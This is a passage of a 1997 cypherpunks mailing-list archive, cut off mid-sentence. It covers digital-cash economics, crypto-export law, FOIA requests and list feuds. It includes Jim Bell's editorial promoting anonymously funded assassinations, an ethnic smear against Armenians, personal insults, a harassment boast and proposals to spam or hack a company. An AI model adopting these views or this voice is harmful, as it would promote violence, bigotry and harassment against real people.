Message-ID: <v0302096faf941f7ddba2@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:23 pm -0400 on 5/4/97, Steve Schear wrote:


> Although I stongly share your overall beliefs in the superiority of digital
> bearer certificates (DBC), I am much less certain about the intrinsic
> financial cost differentials.

Only time, and actual data, will tell, as I've said elsewhere.

> Let's first consider credit cards (CCs). Consumers using CCs, if they
> choose their bank/agent carefully and settle their monthly statements in
> full and promptly, pay nothing (directly) for the priviledge of using the
> cards.  One can argue that merchants build the cost of their CC transaction
> clearance costs into their price structure and therefore every patron,
> whether using cash or CC, pay for the costs of CC usage (few merchants
> offer cash discounts).  Most walk-in retail merchants, in good standing,
> pay about 2% in discount (fees).  On-line and mail order merchants pay
> about 3% as do those with a higher rate of chargebacks and/or in grey
> businesses (e.g., on-line gaming and adult entertainment).  These fees
> represent the costs of operating the CC clearing system (MC, VISA, AMEX,
> etc.) the bank's overhead and profit.

So, you've refuted that one for me. :-).

> Now let's look at Automatic Clearing House (ACH).

Funny you should mention that. It's one of my ideas for an e$Lab company.

I claim that ACH transactions can be driven to 2.5 cents with something
like the FSTC electronic check project when it comes on line. And, that
once you have enough bank servers on the net operating as "deposit windows
on the information superhighway", Metcalfe's law kicks in, and those
servers can clear against each other directly on the net, bypassing the ACH
system altogether. Probably bringing the price of clearing an internet
check to .0025 cents, which would leave the ACH record format as the Roman
wagon-wheel rut (which begat the standard european rail guage) of the
information age, and giving us the three or four orders of magnitude I was
talking about.

> It is not clear that the back office costs of running a mint are any
> cheaper than a book-entry system (e.g., control and auditing requirements
> to meet Generally Accepted Accounting Principles and establish/maintain
> trust)

Funny you should mention that one too. :-). The mint itself, being run by
an underwriter, probably doesn't need anything else in the way of record
keeping but a list of expired certificates, certificate issues, and keys.
The only place GAAP would really apply would be the trustee, who needs GAAP
anyway as a requirement of the book-entry world it lives in. And,
fortunately, the system already accounts for things like ATM transactions
anyway, which is how I see digital cash collateral getting on and off the
net for the most part. No net accounting load at all, to my mind, except,
of course, from the long-phase, but temporary, increase caused over time as
the net becomes a better place to do business than meatspace. Again, at
some point, when on-net trustees can keep assets in digital bearer
certificates, GAAP may hold for some things, but probably not too much for
the collateral pool of digital bearer assets, because those can be checked
by some kind of ZKP, anyway, right? There's also Eric Hughes' encrypted
open books idea, which would probably follow GAAP, granted. Anyway, maybe
the data format for ATM systems would become another Roman axlewidth to
measure commerce by.


> and you still need the book-entry system to occassionally transfer
> value; to the extent that digital bearer certificates become accepted as
> legal tender costs should decline, but the regulatory issues increase.

It's hard for me to see the regulatory load increase in a transaction
clearing system collateralized entirely by digital bearer certificates.
They can be anonymously held, remember? :-).

> However, the ACH and CC system's prices reflect the substantial Fed and CC
> backbone cost and profit to run their private networks, and it is here that
> costs for on-line digital bearer certificate systems will have and edge for
> some time.

Exactly. See my points about wagonruts, above. :-).


> When one combines the transactional economic advantages of DBC: no customer
> accounts, statement generation, little or no need for dispute resolution
> and the economies of using the Net for settlement, with the still
> considerable marketing costs, the likely differential between DBC and
> CC/ACH is closer to one order of magnitude at best.

Again, I still hold out for three or four.

> This is still
> considerable, however, and if properly branded and marketed could
> significantly displace current competition, for lower value transactions.
> The overhead of CC discounts is keenly watched by merchants.  If a trusted
> DBC issuer/agent offered 1.0% fees (especially to on-line merchants) it
> would get noticed quickly.

Agreed. However, when it happens, it'll probably be more significant than
that. I think removing 3 or 4 extra zeroes from the status quo is probably
what people should try to do when developing this stuff. I think that the
technology offers us at least that much slack, and probably more.

Remember, it *is* supposed to change the world. :-).

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 6 May 1997 13:28:47 +0800
To: cypherpunks@toad.com
Subject: FOIA results
Message-ID: <3.0.1.32.19970505201927.00876a00@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



Got two FOIA things in the mail today:

1.	~ 200 pp of "LIST OF DUAL USE GOODS AND TECHNOLOGIES AND MUNITIONS LIST"
re my Wassenaar FOIA. It's much too long to type or scan. Am planning to
type the crypto and software relevant parts when I get some free time. This
looks like the document I was expecting.

2.	A letter from the NSA in response to my FOIA request re cypherpunks -
they want a check for close to $2400 before they'll do a search of their
records. I'm not sending them $2400. Am considering appealing their denial
of my fee waiver, and/or making a more carefully tailored request. I'll
probably scan this within the next few days.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Tue, 6 May 1997 12:38:13 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Insults about C2Net
In-Reply-To: <3.0.1.32.19970504232234.00a71af0@mail.teleport.com>
Message-ID: <3.0.1.32.19970505204654.00a86100@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 09:45 AM 5/5/97 -0800, Tim May wrote:
>At 10:22 PM -0800 5/4/97, Alan Olsen wrote:
>
>>I really knew what specific actions caused people to have such a NASTY
>>opinion of C2net.  I have seen mistakes on their part, but nothing to
warrent
>>the kind and amount of venom I have seen from people.  Maybe I missed
>>something somewhere...  (Or is this one of those "people who disagree with
me
>>are <fill in insult here>"?)
>
>This is an easy one. The only continuing insults I see come from Vulis. No
>further explanation is needed.

I have seen the same attitude from Toto and Atilla, as well as a couple of
others.  It is not just Vulis.

>(One wonders why Vulis does not simply program one of his insultbots to
>spew out a daily insult.)

Don't give him ideas...

>I happen to believe C2Net overreacted to Vulis' slur about the quality of
>Stronghold, and I strongly, strongly believe that Sandy S. should not have
>censored the Vulis post while being an employee of C2Net (that is, he
>should have done one or more of the following: let it pass the way so many
>off the wall posts were passed, announce publically what he was doing at
>the very least, recuse himself from the decision due to conflict of
>interest, or, best of all, quit as censor).

I have my own problems with Sandy's actions in that one.  If it had *JUST*
dealt with those things that could not be handled by filters (the spam and
the anon flames), then I would have not had a problem with that.  Instead the
censorship was arbitrary and pretty heavy handed.  I do not agree what
happened, but I resist using the kind of vitrol that others seem to think
neccisary.  I just cannot see the reason for such venom in this case.

>But the C2Net flap is behind us. The continuing claims that it was C2Net
>which instructed Gilmore to remove Vulis are incorrect--Gilmore actually
>receives his instructions from the Elders of Zion, relayed through the San
>Francisco representatives of the Bilderburgers.

I thought it was the Aluminum Bavariati in league with the Build-A-Burger
Conspiracy and the Parisian Metro Gnomes.

Judging by Vulis's posts in the past, I would not trust him for ANY
information.

Vulis uses insults and personal attacks to cause emotional pain to his
percived enemies.  An example of this are his posts about Bruce Baugh.  Vulis
made all sorts of unsavory claims about Bruce that he *KNEW* were unture.  He
did it because he knew that he could hurt Bruce by doing so.  (I know Bruce
very well.  Vulis was lying and it was vindictive.  None of what he said
about Bruce was true.)  What it did was drive Bruce off of the Cypherpunks
list.  I have seen similar incidents from him.  In my view he has a great
amount of negative reputation capitol.  I have a hard time understanding why
people like Toto seem to cut him so much slack.

>As for stores asking for personal info, this is unsurprising. Fortunately,
>one can always refuse to give it, or lie, or just shrug. No laws yet demand
>this information be given (except for sales of guns and other such
>almost-contraband). Stores seek information for marketing, for decisions on
>placement of new stores (which is why zip codes are sometimes asked for),
>etc.

They claim the information is for marketing.  My dislike of marketing people
makes me tempted to give them even more bogus info...  The temptation is
difficult at times.

>"Identity is just another credential in a negotiation."

"Welcome to the Global Village.  You are number six."

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---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 6 May 1997 13:26:02 +0800
To: cypherpunks@toad.com
Subject: Re: FC: Responses to Tim May's criticism of SAFE, and a rebuttal
In-Reply-To: <199705051842.LAA21649@krypton.chromatic.com>
Message-ID: <19970505214347.40130@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, May 05, 1997 at 04:53:28PM -0700, Lucky Green wrote:
> On Mon, 5 May 1997, Ernest Hua wrote:
> > I don't completely like the first amendment argument because it is
> > solely based on claiming that software is, first and foremost,
> > expression.  In fact, software has mechanism and side effect of
> > mechanism.  If software were strictly expression, it is hard to
> > imagine how a multi-billion industry could have spawned from such an
> > inert practice.  Another example: one could argue that crafting an
> > grenade launcher is artistic expression, but surely few would consider
> > THAT argument when faced with such an "expressive" neighbor.
> 
> I concur. A citizen has the right to manufacture a grenade launcher under
> the Second Amendment (irrespective of what judges scared into submission
> by Roosevelt et al may have ruled), not the First. 

I have heard, from a knowledgable person, that the reason that the NRA
has not pressed a constitutional challenge is that their lawyers tell
them that the historical context clearly indicates that the second
amendment does *not* protect individual ownership of firearms, and
that a constitutional challenge would almost certainly lose.  Hence
the NRA resorts to lobbying.  That is, it is not a matter of 
Roosevelt scaring the judges, but a matter of the clear intent of the 
constitution. 

This made sense to me -- if the constitutional grounds were clear the
NRA could save a tremendous amount of money and trouble just by
letting the court rule on it -- Roosevelt is dead.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 6 May 1997 13:10:06 +0800
To: dave@kachina.jetcafe.org (Dave Hayes)
Subject: Re: Controversial Commercial ISP for Remailer?
In-Reply-To: <199705060249.TAA09248@kachina.jetcafe.org>
Message-ID: <199705060254.VAA17328@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dave Hayes wrote:
> 
> Mr. Arachelian writes:
> > Well, here's a thought.  Let's pool some cash together and go off and 
> > spam cyberpromo from the inside.  Let's get an account there, turn it 
> > around and spam everyone and their mother at cyberpromo and their 
> > respective subdomains.   Wouldn't that be sweet revenge?
> 
> If vengance is your concern, this is a good idea. Neither vengance nor
> righteousness is my concern, however.
> 
> Judgementally speaking, if you spam, you may not continue to condemn
> spammers and be consistent.

Let's say, what if instead of spamming Prof. Arachelian hacks Cyberpromo
and deletes all files there? Would it also be inconsistent, in your
view?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Tue, 6 May 1997 13:13:43 +0800
To: cypherpunks@algebra.com
Subject: Pro-Crypto Arguments
Message-ID: <3.0.1.32.19970505215953.00a90ea0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

The current line of argument in supporting crypto seems to fall into the
"software as speech" (ala First Amendment) or Crypto as munition (and
invoking the Second Amendment).  

I think of Crypto as "Freedom of Language".  

Imagine the uproar that would be caused if Jesse Helms (or one of his ilk)
tried to pass a law that all conversations over the net or phone lines had to
be in English.  (Or at least in a language understood by the cops.)  The
amount of uproar would be incredible.  The courts have already ruled against
this form of "language escrow".  Such rulings should apply to encrypted
communications as well.

Software is just the mechanism for the language of cryptography, it is not
the language itself.  Just as in spoken languages, special knowledge is
needed to understand the "ideas" being communicated.  The algorithm is (in
part) that language.  (But in this case, you are able to speak to only those
you intend, not to the world at large.)

Of course, the question is whether this line of reasoning will work under the
current regime.  Maybe, maybe not.  It seems a better argument than the ones
I have seen so far...  Depends on how far the deck has been stacked against
us.

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBM266uOQCP3v30CeZAQHU4wf9GePLzvloFC/zpM+uAmdzq+wCzASUt/vH
0GP4v9DwLTYtWDp4O/o/ietk1tej4G/d1h2owpdHsGT1qkUXWIG8XUjWsTPblPsa
0uS097K+fB7fP7+LUyrGWkaCwNMfqQ3gErhVfoRsQ6lJRhWE+6JiIcdgxC1OY7lg
kknM3//51Avbk+7CcVH+flyvL7uKWFHJdKpthiSSfKSg9nKJrLUQJxOQaK7xkpXH
4oFEKF1EApa2gFIPyTEM7Nd1Dp2PzcdNZrVHn2BmMP7eXeN4Jfkwoc31r95DPwpI
L2uWEeRpNEs61qNtM8/gkKMXk5fP/vLl8ujDHaYXDOP6dA3CnSbGOA==
=aN2p
-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <NOSPAM-geeman@best.com>
Date: Tue, 6 May 1997 14:01:32 +0800
To: Alan Olsen <cypherpunks@algebra.com
Subject: Re: Pro-Crypto Arguments
Message-ID: <3.0.32.19970505224344.006b7a04@best.com>
MIME-Version: 1.0
Content-Type: text/plain


Such was the thrust of my question posed to the Senate hearings via netcast:
"Is secret speed protected speech"

For if not, then it is a simple matter by extension to require that all
communications be in the lingua franca of the listener, obviously
preposterous.

The respondent seemed to think that 'secret speech' is protected, but 
obviously there are counterarguments.

At 09:59 PM 5/5/97 -0700, Alan Olsen wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>The current line of argument in supporting crypto seems to fall into the
>"software as speech" (ala First Amendment) or Crypto as munition (and
>invoking the Second Amendment).  
>
>I think of Crypto as "Freedom of Language".  
>
>Imagine the uproar that would be caused if Jesse Helms (or one of his ilk)
>tried to pass a law that all conversations over the net or phone lines had to
>be in English.  (Or at least in a language understood by the cops.)  The
>amount of uproar would be incredible.  The courts have already ruled against
>this form of "language escrow".  Such rulings should apply to encrypted
>communications as well.
>
>Software is just the mechanism for the language of cryptography, it is not
>the language itself.  Just as in spoken languages, special knowledge is
>needed to understand the "ideas" being communicated.  The algorithm is (in
>part) that language.  (But in this case, you are able to speak to only those
>you intend, not to the world at large.)
>
>Of course, the question is whether this line of reasoning will work under the
>current regime.  Maybe, maybe not.  It seems a better argument than the ones
>I have seen so far...  Depends on how far the deck has been stacked against
>us.
>
>-----BEGIN PGP SIGNATURE-----
>Version: 4.5
>
>iQEVAwUBM266uOQCP3v30CeZAQHU4wf9GePLzvloFC/zpM+uAmdzq+wCzASUt/vH
>0GP4v9DwLTYtWDp4O/o/ietk1tej4G/d1h2owpdHsGT1qkUXWIG8XUjWsTPblPsa
>0uS097K+fB7fP7+LUyrGWkaCwNMfqQ3gErhVfoRsQ6lJRhWE+6JiIcdgxC1OY7lg
>kknM3//51Avbk+7CcVH+flyvL7uKWFHJdKpthiSSfKSg9nKJrLUQJxOQaK7xkpXH
>4oFEKF1EApa2gFIPyTEM7Nd1Dp2PzcdNZrVHn2BmMP7eXeN4Jfkwoc31r95DPwpI
>L2uWEeRpNEs61qNtM8/gkKMXk5fP/vLl8ujDHaYXDOP6dA3CnSbGOA==
>=aN2p
>-----END PGP SIGNATURE-----
>
>---
>|            "Mi Tio es infermo, pero la carretera es verde!"            |
>|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
>| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
>|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
>|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Tue, 6 May 1997 10:48:53 +0800
To: cypherpunks@toad.com
Subject: Re: Bypassing the Digicash Patents
Message-ID: <19970506013753.7943.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 4 May 1997, Dr.Dimitri Vulis KOTM wrote:
 
> As usual, Greg the C2Net shill writes total bullshit about things he
> knows nothing about.  Try paying cash at Radio Shack, and see if they
> ask for your name and address for their mailing list.  I guess Greg
> is not the type to buy anything at Radio Shack.  What a fitting
> employee for C2Net.

Not a problem Dr. Vulis, whenever I purchase items from Radio Shack,
I use your name and address and phone number.  I hope you don't mind
receiving extra catalogues.   It is after all, all in the good name of privacy 
and protecting my uncoloured identity.

VulvisMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 6 May 1997 07:56:11 +0800
To: cypherpunks@toad.com
Subject: Re: Rape, death and XS4ALL
In-Reply-To: <Pine.LNX.3.91.970504164841.304I-100000@fatmans.demon.co.uk>
Message-ID: <199705052338.BAA02697@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul Bradley <paul@fatmans.demon.co.uk> wrote:

>Absolutely, besides which, even though I believe in the right of people 
>to be as bigotted and statist as they see fit, there are only so many 
>causes we can support and coming in on the side of XS4ALL knowing their 
>record seems ill advised to me. If they truly deserved our support they 
>would retain the pages whether they were legal or not.

  Funny, I didn't notice that *you* supported XS4ALL in the first place.

  Besides, you fail to understand that those who put up Radikal
mirrors didn't do it to support XS4ALL (mirroring just one of their
customers' pages doesn't help them much, eh?), but to fight for
free speech.

  Why don't you host that marijuana vendor's pages on your website?

   --Faktor 4





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 6 May 1997 15:27:31 +0800
To: cypherpunks@toad.com
Subject: Re: Controversial Commercial ISP for Remailer?
In-Reply-To: <199705060254.VAA17328@manifold.algebra.com>
Message-ID: <y8R06D21w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> Dave Hayes wrote:
> >
> > Mr. Arachelian writes:
> > > Well, here's a thought.  Let's pool some cash together and go off and
> > > spam cyberpromo from the inside.  Let's get an account there, turn it
> > > around and spam everyone and their mother at cyberpromo and their
> > > respective subdomains.   Wouldn't that be sweet revenge?
> >
> > If vengance is your concern, this is a good idea. Neither vengance nor
> > righteousness is my concern, however.
> >
> > Judgementally speaking, if you spam, you may not continue to condemn
> > spammers and be consistent.
>
> Let's say, what if instead of spamming Prof. Arachelian hacks Cyberpromo
> and deletes all files there? Would it also be inconsistent, in your
> view?

It certainly would be consistent with other terrorist acts perpetrated
by Armenian criminals off and on the net - such as the genocide of
the 2 million Moslems and Sephardic Jews in this century alone.

I am not surprised that Arachelian's employer, Earthweb, condones his
spamming.  They sound like a thoroughly corrupt and criminal organization,
since they even employ Arachelian as a network administrator.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 6 May 1997 15:30:09 +0800
To: cypherpunks@toad.com
Subject: PGP
Message-ID: <199705060714.DAA24306@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C[retin] Mayflower styles his facial hair to look more 
like pubic hair.

      ,,,
 -ooO(o o)Ooo- Tim C[retin] Mayflower
      (_)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Tien <tien@well.com>
Date: Wed, 7 May 1997 22:19:19 +0800
To: cypherpunks@cyberpass.net
Subject: Re: SAFE
Message-ID: <v03007802af940ac0a7fc@[163.176.132.90]>
MIME-Version: 1.0
Content-Type: text/plain


Here's what Prof. Froomkin said about SAFE on another list:

>What I want to know about SAFE is this:
>
>1.  Will it in effect federalize  huge chunks of state criminal law once
>crypto is ubiquitous in telephones, email, garage-door openers etc.?
>Every state crime will now have a federal component...
>
>2.  Will the federal crypto-use-in-furtherance-of-a-state-crime be a
>separate predicate offense for civil (and criminal?) RICO?
>
>3.  What will the five year term for this offense  do to the
>plea-bargaining dynamic in every garden variety crime.
>
>Recall my hypothesis:  crypto will be seamless and ubiquitous in N years,
>where  N is not large.  Especially if SAFE passes and export controls are
>removed.
>
>On balance, I oppose SAFE.   It's not worth it.


[I wonder:  how does SAFE interact with IPSEC and arrangements like S/WAN?
This is not, I think, merely the "willful furtherance" provision.  The "law
enforcement" access provision may be ambiguous for keys that are not
"private"; my understanding of IPSEC is that the key is in the possession
of the machine and not the user.  I'm unclear whether users have 4th A.
standing to challenge law enforcement access to such keys; there are lots
of 4th A cases where a person has no privacy interest in information
because it's been disclosed to another person, or is in another person's
control.  Of course, I probably don't understand how IPSEC works, so
corrections are welcomed.]

Lee






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Wed, 7 May 1997 22:42:02 +0800
To: cypherpunks@cyberpass.net
Subject: My editorial in Oregonian newspaper published today.
Message-ID: <199705061458.HAA08763@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


The following editorial appears in the Tuesday, May 6 issue of the
(Portland) Oregonian newspaper, on the editorial page.



Fishing Expedition Swims Against Tide

According to the maxim, if you invent a better mouse-trap the world will
beat a path to your door.  Maybe the truth is that, instead, you'll get
assaulted by angry cats who are afraid of losing their jobs.

Suppose the government discovered a method to make itself obsolete.  Or
suppose the military learned how to make us all even more secure, for a
thousandth as much defense spending.   We'd never hear about it because
they'd be out of a job, and job security, not national security, is their
highest priority.

Two years ago I had a revolutionary  idea.   I was tired of hearing the
usual stories about how much harder society's problems have gotten in the
last few decades.    It's not that the problems are harder, it's just that
large constituencies have been built which depend on these "problems"  for
their income.  

For example, when the Cold War ended,  there was no military reason we
couldn't have reduced our military budget by a factor of two or three.
"But no!,"  said the politicians, let's continue buying those expensive
Stealth bombers, submarines, tilt-wing airplanes, and other toys. We weren't
afraid of getting attacked, the spending continued because of the threat of
unemployment on the part of the defense-industry workers. 

Legalize drugs and turn a vast legal problem into a far cheaper and more
manageable health problem?  No, because with 70% or more of the prison
population there due to drug laws, you'd have to fire most of the jailers,
the prosecutors, the police, the judges, and the lawyers, all of whom have
come to depend on the involuntary "generosity" of the taxpayer.

Two years ago I realized that the whole corrupt system could be stopped.  It
would be necessary to not only halt pork-barrel politics at all levels, but
also to provide a very few necessary services for people, such as defense
and justice, although financed inexpensively and voluntarily.   You'd have
to shut down all militaries and governments, simultaneously, all around the
world, while at the same time protecting our security.  Impossible?

In the summer of 1995 I began to write an essay, half-jokingly titled
"Assassination Politics".    It occurred to me that if people could defend
themselves by anonymously donating money to anonymous people who act to
protect us, you wouldn't need militaries or governments anymore.   Nuclear
bombs would be obsolete, and in fact they will be hopelessly  dangerous to
anyone who owns them, because the rest of us will be able to donate money to
ensure their owners have no choice but to dismantle them.  Conventional
militaries will be useless,  because threats to people's security will be
dealt with far more cheaply by large numbers of tiny individual
contributions buying the part-time services of a few semi-professional
trouble-shooters.   

Murderous dictators of the past and present,  such as Hitler, Stalin, Mao,
Pol Pot, Saddam Hussein, Khadafi, Idi Amin,  and so many others simply
couldn't operate in such a world, because they (and their replacements, if
anyone dared follow them) could be removed for the collective pocket change
of a few million angry citizens.

There'd be no conventional wars, because anyone who would make war would be
a threat not only to his enemy, but also to anyone on "his" side who would
be forced to help pay for that war, or even third parties who wouldn't want
to see aggression win, for fear they'd be the next target.  There would be
no draft, because forcing someone else to fight for you makes YOU his enemy,
as well: On the other hand, if your cause is just, he will contribute
voluntarily, just as you do, to see the bad guy stopped. 

There would be little crime, because crime will be treated as an attack, and
people will be able to donate money to find and stop the criminals.  But
unlike today, there will be no large constituency (police, jailers, judges,
prosecutors, lawyers) who have a vested interest in keeping the crime rate
high, thus terrorizing the public into supporting "anti-crime spending"
which really just lines their pockets.

I've been openly debating the idea on the Internet since then with anyone
who will listen.  My essay  surprises many and shocks more than a few, but
I am pleased that such a truly revolutionary concept has been so well
received.   Even the Columbian newspaper (www.columbian.com) has decided to
add a pointer to the essay.

The only "threat" in the essay is to the jobs of the people who have been
parasites on the rest of us for decades, as well as to the future of
tyrannies around the world.  But that's why,  on April 1, twenty Federal
agents burst in and took my computer,  told the news media I was "armed and
dangerous," and began engaging in a fishing expedition including harassing
people simply for knowing me.  (No arrest or charges so far.)  They may
claim that they were looking for something else, but what they are really,
desperately hoping to find is...job security.  If I'm right, they have none.

Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 6 May 1997 22:50:11 +0800
To: cypherpunks@toad.com
Subject: Re: (fwd) Cell Phone Cancer Study
Message-ID: <1.5.4.32.19970506142235.0083d2e4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


As follow up to the Stewart Fist report on new findings
of cell-phone hazards, the Jerusalem Post says that
the report is causing alarm in Israel -- where cell-phones
are heavily used -- and that the government intends to 
investigate. Motorola et al are hunkered.

The scientific study is in the journal "Radiation Research,"
Volume 147, Number 5, May 1997:

   http://www.cjp.com/radres/html/may97toc.htm

   Michael H. Repacholi, Antony Basten, Val Gebski, Denise 
   Noonan, John Finnie and Alan W. Harris

   "Lymphomas in Emu-Pim1 Transgenic Mice Exposed to Pulsed 
   900 MHz Electromagnetic Fields" (p. 631)

However, there is not an on-line version, unless someone knows
of it elsewhere. What say the cellular folks here to this story?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 7 May 1997 04:49:46 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <199705041819.LAA00411@crypt.hfinney.com>
Message-ID: <19970506105325.64305@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, May 05, 1997 at 03:00:09PM -0400, Ray Arachelian wrote:
> On Sun, 4 May 1997, Hal Finney wrote:
> 
> > Presumably records are kept to protect against various risks.  Without
> > that protection, you need other means to control the risk.  But if those
> > means exist and they are cheaper than record-keeping, then again even
> > without anonymity it should be cheaper to use those methods in place of
> > the records.
> 
> Records are kept for (a) tax compliance, (b) as a way of further 
> marketting spam that tracks usage/purchase patterns.  Presumably the 
> marketting weasels require this info because of their belief that doing 
> so will increase sales in the long run.

Speaking of risks, if I have several billion dollars worth of fully
anonymous, fully fungible digital cash sitting on my hard disk, how do
I protect it from loss, theft, or damage? If I encrypt it somehow, and
forget my key, I am out a lot of money.  If the disk is sitting on a 
vanilla computer of some sort, I have to worry about the security of 
the OS.  I have to worry about a disk crash destroying my fortune.  
In short, I have security concerns.

I mention this because one of the costs of cash is protecting it.  
For large sums this cost is non-trivial.  This will be true with 
digital cash as well.

One of the purposes of banks is to provide a secure storage 
infrastructure.  But if you put your ecash in a bank you damn well 
want to be sure that you can get it back, which means that the bank 
*must* have records associating your deposits with you (or your 
nym).

With computers, record keeping is cheap, but security is expensive.  
The cost of securing records is inversely related to the amount of 
public exposure -- the more people know something, the harder it is 
to alter the data.

With ecash you don't have just the abstract value of information as a 
motivation for thieves -- you have real money, and, with current 
computer security levels, an essentially open target, crypto or not.

Therefore, anonymous transactions do have costs that non-anonymous 
ones do not, and this cost differential potentially grows 
non-linearly with the amount involved.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Wed, 7 May 1997 02:22:30 +0800
To: cypherpunks@algebra.com
Subject: Jim Bell in the Oregonian
Message-ID: <Pine.GSO.3.96.970506110459.11B-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Bell has an editorial (with his picture) in the Oregonian. (Morning
edition, May 6th, 1997 page B-9.)  It takes up about a quarter of the
page.

It is an interesting read.  It does not address the problems with AP, but
it does deal with the raid and other issues involved.

Jim might consider posting a copy of the original article here.  Given the
Oregano's love of cut-and-paste journalism, it would be interesting how
the original and print versions differ.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Wed, 7 May 1997 02:28:22 +0800
To: cypherpunks@algebra.com
Subject: Hacking the Crypto Ban
Message-ID: <Pine.GSO.3.96.970506110927.11C-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


An article in "Intelectual Property" magazine on hacking around the crypto
export ban at http://www.ipmag.com/crypto.html .  Get it while it is still
there.

Goes into great length about the EAR and those Hamletionians pouring
poison into it.  (Sorry...  Started channeling John Young there for a
moment...)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 7 May 1997 00:43:58 +0800
To: ichudov@algebra.com
Subject: Re: Controversial Commercial ISP for Remailer?
In-Reply-To: <199705060254.VAA17328@manifold.algebra.com>
Message-ID: <Pine.SUN.3.91.970506115553.20708G-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 5 May 1997 ichudov@algebra.com wrote:

> Let's say, what if instead of spamming Prof. Arachelian hacks Cyberpromo
> and deletes all files there? Would it also be inconsistent, in your
> view?

Fictionally speaking, if the Prof. (when did I earn that title?) does 
